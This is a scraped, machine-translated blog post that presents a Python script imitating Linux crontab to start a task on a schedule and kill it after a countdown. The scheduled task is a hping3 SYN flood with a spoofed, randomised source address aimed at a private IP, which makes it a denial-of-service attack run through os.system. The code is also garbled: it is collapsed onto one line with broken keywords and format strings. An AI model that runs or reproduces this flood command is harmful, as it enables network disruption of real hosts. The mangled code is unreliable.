Python simulates Linux crontab and writes a mission planning requirement

Source: Internet
Author: User

Python simulates Linux crontab and writes a mission planning requirement

Come to specifics.

  

Requirements:    execute a program, the program has been running state, here is assumed to be a function    when the program runs 30s, you need to terminate the program, you can use Python, C, c+ + language to achieve the    expansion requirements:        You need to restart the program after 1 minutes

Def process_2 ():
# Time to execute
# Execute Process_1
# Start listening--timing
# When the time exceeds how many s, force the end
# (Note that the task execution process inside the process still exists, for example, the task of the process is to create a process, that is, the task is forced to end the process, and you create the process? )
Pass

#!/usr/bin/env python#-*-coding=utf-8-*-Importsys, time, multiprocessing, datetime, OS#-----< custom error>-----#classMycustomerror (Exception):def __init__(Self, Msg=none, retcode=4999): Self.retcode=Int (retcode)Try:            if  notmsg:msg="Setting time is less than the current time Error."        except: Msg="Unknown Error!!!"Exception.__init__(self, Self.retcode, msg)#-----< format time into timestamp >-----#classFormatDateTime ():" "Use method:FormatDatetime.become_timestamp ("2018-08-21 13:19:00")" "@staticmethoddefBecome_timestamp (DTDT):#converting a time type to a timestamp        ifisinstance (DTDT, datetime.datetime): Timestamp=Time.mktime (Dtdt.timetuple ())returntimestampelifisinstance (DTDT, str):ifDtdt.split (" ") [1:]: A_datetime= Datetime.datetime.strptime (DTDT,"%y-%m-%d%h:%m:%s") Timestamp=Time.mktime (A_datetime.timetuple ())Else: A_datetime= Datetime.datetime.strptime (DTDT,"%y-%m-%d") Timestamp=Time.mktime (A_datetime.timetuple ())returntimestampelifisinstance (DTDT, float):returnDtdt#-----< Timers >-----#defTimer (ARG):" "Use method:timer:p Aram ARG: Countdown time: Return:true" "    #Countdown TimeBack_time =Arg whileBack_time! =0:sys.stdout.write ('\ r')##意思是打印在清空Back_time-= 1Sys.stdout.write ("%s"%(int (back_time))) Sys.stdout.flush () Time.sleep (1)    returnTrue#-----< Customize task functions >-----#classTasks: @staticmethoddefstart (): Ip1="42.93.48.16"IP2="192.168.2.141"adjure="""hping3-c 100000-d 120-s-w 64-p 57511-a 10.10.10.10--flood--rand-source {}""". Format (IP2) Os.system (adjure) @staticmethoddefStop (): Adjure="""Netstat-anpo | grep hping3 | awk-f "[/]+" ' {print $7} ' | xargs-i-t kill-9 {}"""Os.system (adjure)#-----< Task functions >-----#defSlow_worker ():" "The code you need to execute for your custom task: return:" "    Print('starting worker') Time.sleep (0.1)    Print('finished worker') Tasks.start ()#-----< Task Schedule Execution time >-----#defCrontab_time (custom_time):#custom_time = "2018-08-21 13:44:00"Date_time =Formatdatetime.become_timestamp (custom_time) now_time=time.time ()#remainder, with decimalsremainder_data = Int (Date_time-now_time)ifRemainder_data <0:RaiseMycustomerrorElse:         whileRemainder_data >0:remainder_data-= 1Time.sleep (1)        returnTrue#-----< Execute functions >-----#defMy_crontab (custom_time="', Frequency=1, countdown=0):" "a few minutes to perform a task this function belongs to the business logic and can be considered again encapsulated Custom_time = "2018-08-21 13:19:00" time format must be so frequency = 1 # frequency Countdow n = 0 # countdown number s:return:" "    ifCustom_time:crontab_time_status=crontab_time (custom_time)ifCrontab_time_status: forIinchRange (Frequency): P= multiprocessing. Process (target=slow_worker) P.start ()ifCountdown:status=Timer (Countdown)ifstatus:p.terminate () tasks.stop ( )Else:         forIinchRange (Frequency): P= multiprocessing. Process (target=slow_worker) P.start ()ifCountdown:status=Timer (Countdown)ifstatus:p.terminate () tasks.stop ( )if __name__=='__main__': My_crontab (Frequency=1, COUNTDOWN=50)
View Code

Python simulates Linux crontab and writes a mission planning requirement

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.